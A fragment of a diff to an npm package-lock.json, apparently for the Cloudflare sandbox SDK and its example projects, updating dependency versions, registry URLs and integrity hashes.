"1.0.0", + "extraneous": true, + "license": "MIT", + "dependencies": { + "@cloudflare/sandbox": "*", + "katex": "^0.16.25", + "react-katex": "^3.1.0", + "react-markdown": "^10.1.0", + "remark-gfm": "^4.0.1" + }, + "devDependencies": { + "@types/react-katex": "^3.0.4" + } + }, "examples/claude-code": { "name": "@cloudflare/sandbox-claude-code-example", "version": "1.0.0", "license": "MIT", "devDependencies": { "@cloudflare/sandbox": "*", - "@types/node": "^24.9.1", - "typescript": "^5.8.3", - "wrangler": "^4.44.0" + "@types/node": "^24.9.2", + "typescript": "^5.9.3", + "wrangler": "^4.45.2" } }, "examples/code-interpreter": { @@ -60,12 +78,12 @@ "license": "MIT", "dependencies": { "@cloudflare/sandbox": "*", - "openai": "^5.12.0" + "openai": "^6.7.0" }, "devDependencies": { - "@types/node": "^24.9.1", - "typescript": "^5.8.3", - "wrangler": "^4.44.0" + "@types/node": "^24.9.2", + "typescript": "^5.9.3", + "wrangler": "^4.45.2" } }, "examples/minimal": { @@ -74,9 +92,9 @@ "license": "MIT", "devDependencies": { "@cloudflare/sandbox": "*", - "@types/node": "^24.9.1", - "typescript": "^5.8.3", - "wrangler": "^4.44.0" + "@types/node": "^24.9.2", + "typescript": "^5.9.3", + "wrangler": "^4.45.2" } }, "node_modules/@actions/core": { @@ -162,7 +180,6 @@ "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", @@ -629,6 +646,22 @@ "semver": "^7.5.3" } }, + "node_modules/@changesets/apply-release-plan/node_modules/prettier": { + "version": "2.8.8", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.8.8.tgz", + "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", + "dev": true, + "license": "MIT", + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, "node_modules/@changesets/assemble-release-plan": { "version": "6.0.9", "resolved": "https://registry.npmjs.org/@changesets/assemble-release-plan/-/assemble-release-plan-6.0.9.tgz", @@ -870,654 +903,99 @@ "@changesets/types": "^6.1.0", "fs-extra": "^7.0.1", "human-id": "^4.1.1", - "prettier": "^2.7.1" - } - }, - "node_modules/@cloudflare/containers": { - "version": "0.0.29", - "resolved": "https://registry.npmjs.org/@cloudflare/containers/-/containers-0.0.29.tgz", - "integrity": "sha512-tiVCbS7p2SBWNZd4Ym6zx2gMJdQqq7VhWStID0DkQ1iCyqmLis1hDUNmeVbHCYKSnsyZq/SUxFspRwrXNaA3Yg==", - "license": "ISC" - }, - "node_modules/@cloudflare/kv-asset-handler": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.4.0.tgz", - "integrity": "sha512-+tv3z+SPp+gqTIcImN9o0hqE9xyfQjI1XD9pL6NuKjua9B1y7mNYv0S9cP+QEbA4ppVgGZEmKOvHX5G5Ei1CVA==", - "dev": true, - "license": "MIT OR Apache-2.0", - "dependencies": { - "mime": "^3.0.0" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@cloudflare/sandbox": { - "resolved": "packages/sandbox", - "link": true - }, - "node_modules/@cloudflare/sandbox-claude-code-example": { - "resolved": "examples/claude-code", - "link": true - }, - "node_modules/@cloudflare/sandbox-code-interpreter-example": { - "resolved": "examples/code-interpreter", - "link": true - }, - "node_modules/@cloudflare/sandbox-minimal-example": { - "resolved": "examples/minimal", - "link": true - }, - "node_modules/@cloudflare/unenv-preset": { - "version": "2.7.8", - "resolved": "https://registry.npmjs.org/@cloudflare/unenv-preset/-/unenv-preset-2.7.8.tgz", - "integrity": "sha512-Ky929MfHh+qPhwCapYrRPwPVHtA2Ioex/DbGZyskGyNRDe9Ru3WThYZivyNVaPy5ergQSgMs9OKrM9Ajtz9F6w==", - "dev": true, - "license": "MIT OR Apache-2.0", - "peerDependencies": { - "unenv": "2.0.0-rc.21", - "workerd": "^1.20250927.0" - }, - "peerDependenciesMeta": { - "workerd": { - "optional": true - } - } - }, - "node_modules/@cloudflare/vite-plugin": { - "version": "1.13.17", - "resolved": "https://registry.npmjs.org/@cloudflare/vite-plugin/-/vite-plugin-1.13.17.tgz", - "integrity": "sha512-JYBs+KwN/fcqcOwa4hZ5SPLUAZ2idksZ4umeja4TWPPUWvO2f0Lm0bOjVHI+rFuq72b2vixx2coNJSyntEBUsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@cloudflare/unenv-preset": "2.7.8", - "@remix-run/node-fetch-server": "^0.8.0", - "get-port": "^7.1.0", - "miniflare": "4.20251011.1", - "picocolors": "^1.1.1", - "tinyglobby": "^0.2.12", - "unenv": "2.0.0-rc.21", - "wrangler": "4.45.2", - "ws": "8.18.0" - }, - "peerDependencies": { - "vite": "^6.1.0 || ^7.0.0", - "wrangler": "^4.45.2" - } - }, - "node_modules/@cloudflare/vite-plugin/node_modules/ws": { - "version": "8.18.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz", - "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, - "node_modules/@cloudflare/vitest-pool-workers": { - "version": "0.9.14", - "resolved": "https://registry.npmjs.org/@cloudflare/vitest-pool-workers/-/vitest-pool-workers-0.9.14.tgz", - "integrity": "sha512-1D/1KFa32EymaYDojWcrmUyMbHJwewn/mZSxsAqXdybvKMrHVaoaqGpLoH9bgWSfbrGs4af4RrmIXMINOqc4Lw==", - "dev": true, - "license": "MIT", - "dependencies": { - "birpc": "0.2.14", - "cjs-module-lexer": "^1.2.3", - "devalue": "^5.3.2", - "miniflare": "4.20251011.0", - "semver": "^7.7.1", - "wrangler": "4.44.0", - "zod": "^3.22.3" - }, - "peerDependencies": { - "@vitest/runner": "2.0.x - 3.2.x", - "@vitest/snapshot": "2.0.x - 3.2.x", - "vitest": "2.0.x - 3.2.x" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/aix-ppc64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.4.tgz", - "integrity": "sha512-1VCICWypeQKhVbE9oW/sJaAmjLxhVqacdkvPLEjwlttjfwENRSClS8EjBz0KzRyFSCPDIkuXW34Je/vk7zdB7Q==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/android-arm": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.4.tgz", - "integrity": "sha512-QNdQEps7DfFwE3hXiU4BZeOV68HHzYwGd0Nthhd3uCkkEKK7/R6MTgM0P7H7FAs5pU/DIWsviMmEGxEoxIZ+ZQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/android-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.4.tgz", - "integrity": "sha512-bBy69pgfhMGtCnwpC/x5QhfxAz/cBgQ9enbtwjf6V9lnPI/hMyT9iWpR1arm0l3kttTr4L0KSLpKmLp/ilKS9A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/android-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.4.tgz", - "integrity": "sha512-TVhdVtQIFuVpIIR282btcGC2oGQoSfZfmBdTip2anCaVYcqWlZXGcdcKIUklfX2wj0JklNYgz39OBqh2cqXvcQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/darwin-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.4.tgz", - "integrity": "sha512-Y1giCfM4nlHDWEfSckMzeWNdQS31BQGs9/rouw6Ub91tkK79aIMTH3q9xHvzH8d0wDru5Ci0kWB8b3up/nl16g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/darwin-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.4.tgz", - "integrity": "sha512-CJsry8ZGM5VFVeyUYB3cdKpd/H69PYez4eJh1W/t38vzutdjEjtP7hB6eLKBoOdxcAlCtEYHzQ/PJ/oU9I4u0A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/freebsd-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.4.tgz", - "integrity": "sha512-yYq+39NlTRzU2XmoPW4l5Ifpl9fqSk0nAJYM/V/WUGPEFfek1epLHJIkTQM6bBs1swApjO5nWgvr843g6TjxuQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/freebsd-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.4.tgz", - "integrity": "sha512-0FgvOJ6UUMflsHSPLzdfDnnBBVoCDtBTVyn/MrWloUNvq/5SFmh13l3dvgRPkDihRxb77Y17MbqbCAa2strMQQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-arm": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.4.tgz", - "integrity": "sha512-kro4c0P85GMfFYqW4TWOpvmF8rFShbWGnrLqlzp4X1TNWjRY3JMYUfDCtOxPKOIY8B0WC8HN51hGP4I4hz4AaQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.4.tgz", - "integrity": "sha512-+89UsQTfXdmjIvZS6nUnOOLoXnkUTB9hR5QAeLrQdzOSWZvNSAXAtcRDHWtqAUtAmv7ZM1WPOOeSxDzzzMogiQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-ia32": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.4.tgz", - "integrity": "sha512-yTEjoapy8UP3rv8dB0ip3AfMpRbyhSN3+hY8mo/i4QXFeDxmiYbEKp3ZRjBKcOP862Ua4b1PDfwlvbuwY7hIGQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-loong64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.4.tgz", - "integrity": "sha512-NeqqYkrcGzFwi6CGRGNMOjWGGSYOpqwCjS9fvaUlX5s3zwOtn1qwg1s2iE2svBe4Q/YOG1q6875lcAoQK/F4VA==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-mips64el": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.4.tgz", - "integrity": "sha512-IcvTlF9dtLrfL/M8WgNI/qJYBENP3ekgsHbYUIzEzq5XJzzVEV/fXY9WFPfEEXmu3ck2qJP8LG/p3Q8f7Zc2Xg==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-ppc64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.4.tgz", - "integrity": "sha512-HOy0aLTJTVtoTeGZh4HSXaO6M95qu4k5lJcH4gxv56iaycfz1S8GO/5Jh6X4Y1YiI0h7cRyLi+HixMR+88swag==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-riscv64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.4.tgz", - "integrity": "sha512-i8JUDAufpz9jOzo4yIShCTcXzS07vEgWzyX3NH2G7LEFVgrLEhjwL3ajFE4fZI3I4ZgiM7JH3GQ7ReObROvSUA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-s390x": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.4.tgz", - "integrity": "sha512-jFnu+6UbLlzIjPQpWCNh5QtrcNfMLjgIavnwPQAfoGx4q17ocOU9MsQ2QVvFxwQoWpZT8DvTLooTvmOQXkO51g==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/linux-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.4.tgz", - "integrity": "sha512-6e0cvXwzOnVWJHq+mskP8DNSrKBr1bULBvnFLpc1KY+d+irZSgZ02TGse5FsafKS5jg2e4pbvK6TPXaF/A6+CA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/netbsd-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.4.tgz", - "integrity": "sha512-vUnkBYxZW4hL/ie91hSqaSNjulOnYXE1VSLusnvHg2u3jewJBz3YzB9+oCw8DABeVqZGg94t9tyZFoHma8gWZQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/netbsd-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.4.tgz", - "integrity": "sha512-XAg8pIQn5CzhOB8odIcAm42QsOfa98SBeKUdo4xa8OvX8LbMZqEtgeWE9P/Wxt7MlG2QqvjGths+nq48TrUiKw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/openbsd-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.4.tgz", - "integrity": "sha512-Ct2WcFEANlFDtp1nVAXSNBPDxyU+j7+tId//iHXU2f/lN5AmO4zLyhDcpR5Cz1r08mVxzt3Jpyt4PmXQ1O6+7A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/openbsd-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.4.tgz", - "integrity": "sha512-xAGGhyOQ9Otm1Xu8NT1ifGLnA6M3sJxZ6ixylb+vIUVzvvd6GOALpwQrYrtlPouMqd/vSbgehz6HaVk4+7Afhw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/sunos-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.4.tgz", - "integrity": "sha512-Mw+tzy4pp6wZEK0+Lwr76pWLjrtjmJyUB23tHKqEDP74R3q95luY/bXqXZeYl4NYlvwOqoRKlInQialgCKy67Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/win32-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.4.tgz", - "integrity": "sha512-AVUP428VQTSddguz9dO9ngb+E5aScyg7nOeJDrF1HPYu555gmza3bDGMPhmVXL8svDSoqPCsCPjb265yG/kLKQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/win32-ia32": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.4.tgz", - "integrity": "sha512-i1sW+1i+oWvQzSgfRcxxG2k4I9n3O9NRqy8U+uugaT2Dy7kLO9Y7wI72haOahxceMX8hZAzgGou1FhndRldxRg==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/@esbuild/win32-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.4.tgz", - "integrity": "sha512-nOT2vZNw6hJ+z43oP1SPea/G/6AbN6X+bGNhNuq8NtRHy4wsMhw765IKLNmnjek7GvjWBYQ8Q5VBoYTFg9y1UQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" + "prettier": "^2.7.1" } }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/esbuild": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.4.tgz", - "integrity": "sha512-8pgjLUcUjcgDg+2Q4NYXnPbo/vncAY4UmyaCm0jZevERqCHZIaWwdJHkf8XQtu4AxSKCdvrUbT0XUr1IdZzI8Q==", + "node_modules/@changesets/write/node_modules/prettier": { + "version": "2.8.8", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.8.8.tgz", + "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", "dev": true, - "hasInstallScript": true, "license": "MIT", "bin": { - "esbuild": "bin/esbuild" + "prettier": "bin-prettier.js" }, "engines": { - "node": ">=18" + "node": ">=10.13.0" }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.25.4", - "@esbuild/android-arm": "0.25.4", - "@esbuild/android-arm64": "0.25.4", - "@esbuild/android-x64": "0.25.4", - "@esbuild/darwin-arm64": "0.25.4", - "@esbuild/darwin-x64": "0.25.4", - "@esbuild/freebsd-arm64": "0.25.4", - "@esbuild/freebsd-x64": "0.25.4", - "@esbuild/linux-arm": "0.25.4", - "@esbuild/linux-arm64": "0.25.4", - "@esbuild/linux-ia32": "0.25.4", - "@esbuild/linux-loong64": "0.25.4", - "@esbuild/linux-mips64el": "0.25.4", - "@esbuild/linux-ppc64": "0.25.4", - "@esbuild/linux-riscv64": "0.25.4", - "@esbuild/linux-s390x": "0.25.4", - "@esbuild/linux-x64": "0.25.4", - "@esbuild/netbsd-arm64": "0.25.4", - "@esbuild/netbsd-x64": "0.25.4", - "@esbuild/openbsd-arm64": "0.25.4", - "@esbuild/openbsd-x64": "0.25.4", - "@esbuild/sunos-x64": "0.25.4", - "@esbuild/win32-arm64": "0.25.4", - "@esbuild/win32-ia32": "0.25.4", - "@esbuild/win32-x64": "0.25.4" + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" } }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/miniflare": { - "version": "4.20251011.0", - "resolved": "https://registry.npmjs.org/miniflare/-/miniflare-4.20251011.0.tgz", - "integrity": "sha512-DlZ7vR5q/RE9eLsxsrXzfSZIF2f6O5k0YsFrSKhWUtdefyGtJt4sSpR6V+Af/waaZ6+zIFy9lsknHBCm49sEYA==", + "node_modules/@cloudflare/containers": { + "version": "0.0.30", + "resolved": "https://registry.npmjs.org/@cloudflare/containers/-/containers-0.0.30.tgz", + "integrity": "sha512-i148xBgmyn/pje82ZIyuTr/Ae0BT/YWwa1/GTJcw6DxEjUHAzZLaBCiX446U9OeuJ2rBh/L/9FIzxX5iYNt1AQ==", + "license": "ISC" + }, + "node_modules/@cloudflare/kv-asset-handler": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@cloudflare/kv-asset-handler/-/kv-asset-handler-0.4.0.tgz", + "integrity": "sha512-+tv3z+SPp+gqTIcImN9o0hqE9xyfQjI1XD9pL6NuKjua9B1y7mNYv0S9cP+QEbA4ppVgGZEmKOvHX5G5Ei1CVA==", "dev": true, - "license": "MIT", + "license": "MIT OR Apache-2.0", "dependencies": { - "@cspotcode/source-map-support": "0.8.1", - "acorn": "8.14.0", - "acorn-walk": "8.3.2", - "exit-hook": "2.2.1", - "glob-to-regexp": "0.4.1", - "sharp": "^0.33.5", - "stoppable": "1.1.0", - "undici": "7.14.0", - "workerd": "1.20251011.0", - "ws": "8.18.0", - "youch": "4.1.0-beta.10", - "zod": "3.22.3" - }, - "bin": { - "miniflare": "bootstrap.js" + "mime": "^3.0.0" }, "engines": { "node": ">=18.0.0" } }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/wrangler": { - "version": "4.44.0", - "resolved": "https://registry.npmjs.org/wrangler/-/wrangler-4.44.0.tgz", - "integrity": "sha512-BLOUigckcWZ0r4rm7b5PuaTpb9KP9as0XeCRSJ8kqcNgXcKoUD3Ij8FlPvN25KybLnFnetaO0ZdfRYUPWle4qw==", + "node_modules/@cloudflare/sandbox": { + "resolved": "packages/sandbox", + "link": true + }, + "node_modules/@cloudflare/sandbox-claude-code-example": { + "resolved": "examples/claude-code", + "link": true + }, + "node_modules/@cloudflare/sandbox-code-interpreter-example": { + "resolved": "examples/code-interpreter", + "link": true + }, + "node_modules/@cloudflare/sandbox-minimal-example": { + "resolved": "examples/minimal", + "link": true + }, + "node_modules/@cloudflare/unenv-preset": { + "version": "2.7.8", + "resolved": "https://registry.npmjs.org/@cloudflare/unenv-preset/-/unenv-preset-2.7.8.tgz", + "integrity": "sha512-Ky929MfHh+qPhwCapYrRPwPVHtA2Ioex/DbGZyskGyNRDe9Ru3WThYZivyNVaPy5ergQSgMs9OKrM9Ajtz9F6w==", "dev": true, "license": "MIT OR Apache-2.0", - "dependencies": { - "@cloudflare/kv-asset-handler": "0.4.0", - "@cloudflare/unenv-preset": "2.7.8", - "blake3-wasm": "2.1.5", - "esbuild": "0.25.4", - "miniflare": "4.20251011.0", - "path-to-regexp": "6.3.0", - "unenv": "2.0.0-rc.21", - "workerd": "1.20251011.0" - }, - "bin": { - "wrangler": "bin/wrangler.js", - "wrangler2": "bin/wrangler.js" - }, - "engines": { - "node": ">=18.0.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - }, "peerDependencies": { - "@cloudflare/workers-types": "^4.20251011.0" + "unenv": "2.0.0-rc.21", + "workerd": "^1.20250927.0" }, "peerDependenciesMeta": { - "@cloudflare/workers-types": { + "workerd": { "optional": true } } }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/ws": { + "node_modules/@cloudflare/vite-plugin": { + "version": "1.13.17", + "resolved": "https://registry.npmjs.org/@cloudflare/vite-plugin/-/vite-plugin-1.13.17.tgz", + "integrity": "sha512-JYBs+KwN/fcqcOwa4hZ5SPLUAZ2idksZ4umeja4TWPPUWvO2f0Lm0bOjVHI+rFuq72b2vixx2coNJSyntEBUsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cloudflare/unenv-preset": "2.7.8", + "@remix-run/node-fetch-server": "^0.8.0", + "get-port": "^7.1.0", + "miniflare": "4.20251011.1", + "picocolors": "^1.1.1", + "tinyglobby": "^0.2.12", + "unenv": "2.0.0-rc.21", + "wrangler": "4.45.2", + "ws": "8.18.0" + }, + "peerDependencies": { + "vite": "^6.1.0 || ^7.0.0", + "wrangler": "^4.45.2" + } + }, + "node_modules/@cloudflare/vite-plugin/node_modules/ws": { "version": "8.18.0", "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz", "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", @@ -1539,14 +1017,25 @@ } } }, - "node_modules/@cloudflare/vitest-pool-workers/node_modules/zod": { - "version": "3.22.3", - "resolved": "https://registry.npmjs.org/zod/-/zod-3.22.3.tgz", - "integrity": "sha512-EjIevzuJRiRPbVH4mGc8nApb/lVLKVpmUhAaR5R5doKGfAnGJ6Gr3CViAVjP+4FWSxCsybeWQdcgCtbX+7oZug==", + "node_modules/@cloudflare/vitest-pool-workers": { + "version": "0.10.2", + "resolved": "https://registry.npmjs.org/@cloudflare/vitest-pool-workers/-/vitest-pool-workers-0.10.2.tgz", + "integrity": "sha512-JbLDzZ40vcXUHw8VVoMAQpCAmZ/mN3KqsY25DIcUJR8cc/a2R3IGC5F9IE6u6ns1mnRlqRYB6ChYh1afnLUiAQ==", "dev": true, "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" + "dependencies": { + "birpc": "0.2.14", + "cjs-module-lexer": "^1.2.3", + "devalue": "^5.3.2", + "miniflare": "4.20251011.1", + "semver": "^7.7.1", + "wrangler": "4.45.2", + "zod": "^3.22.3" + }, + "peerDependencies": { + "@vitest/runner": "2.0.x - 3.2.x", + "@vitest/snapshot": "2.0.x - 3.2.x", + "vitest": "2.0.x - 3.2.x" } }, "node_modules/@cloudflare/workerd-darwin-64": { @@ -1639,8 +1128,7 @@ "resolved": "https://registry.npmjs.org/@cloudflare/workers-types/-/workers-types-4.20251014.0.tgz", "integrity": "sha512-tEW98J/kOa0TdylIUOrLKRdwkUw0rvvYVlo+Ce0mqRH3c8kSoxLzUH9gfCvwLe0M89z1RkzFovSKAW2Nwtyn3w==", "dev": true, - "license": "MIT OR Apache-2.0", - "peer": true + "license": "MIT OR Apache-2.0" }, "node_modules/@cspotcode/source-map-support": { "version": "0.8.1", @@ -2792,7 +2280,6 @@ "integrity": "sha512-/g2d4sW9nUDJOMz3mabVQvOGhVa4e/BN/Um7yca9Bb2XTzPPnfTWHWQg+IsEYO7M3Vx+EXvaM/I2pJWIMun1bg==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@octokit/auth-token": "^4.0.0", "@octokit/graphql": "^7.1.0", @@ -3344,9 +2831,9 @@ } }, "node_modules/@rolldown/pluginutils": { - "version": "1.0.0-beta.27", - "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", - "integrity": 